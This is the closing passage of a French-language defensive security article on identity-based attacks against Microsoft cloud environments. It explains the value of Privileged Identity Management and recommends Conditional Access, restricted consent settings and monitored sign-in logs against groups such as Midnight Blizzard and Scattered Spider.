  • Soumis à approbation pour les rôles les plus élevés
  • Protégé par MFA à chaque activation
  • Audité : Toutes les activations journalisées et avec alertes

Un identifiant d'Administrateur Global compromis sans PIM signifie que l'attaquant dispose d'un accès admin persistant et sans restriction. Un environnement avec PIM signifie qu'un attaquant avec un identifiant volé ne peut rien faire sans compléter un workflow d'activation.


Conclusion

Les acteurs de menaces utilisant ces techniques Midnight Blizzard, Scattered Spider, des dizaines d'affiliés de ransomware ne sont pas sophistiqués au sens traditionnel. Ils n'écrivent pas d'exploits nouveaux ni ne rétro-ingénient des noyaux. Ils sont exceptionnellement bons dans l'abus d'identité et comptent sur le fait que vos contrôles de sécurité ont été conçus pour un modèle de menace de 2015.

Les attaques sans fichier sur la couche identité battent l'EDR. Elles battent l'antivirus. Elles battent la surveillance réseau. Ce qu'elles ne battent pas :

  • Des politiques d'Accès Conditionnel verrouillées
  • Des paramètres de consentement restreints
  • Des journaux d'identité activement surveillés avec des détections KQL dédiées
  • Un SOC qui comprend ce que AADNonInteractiveUserSignInLogs signifie et le consulte

Le signal est là. Les attaquants laissent des traces dans chaque source de journaux mentionnée dans cet article. La question est de savoir si votre équipe regarde.


Toutes les commandes et requêtes dans cet article sont à des fins défensives détection, audit et renforcement. Testez toutes les requêtes de détection dans votre environnement contre des bases de référence connues avant de les utiliser dans des alertes de production.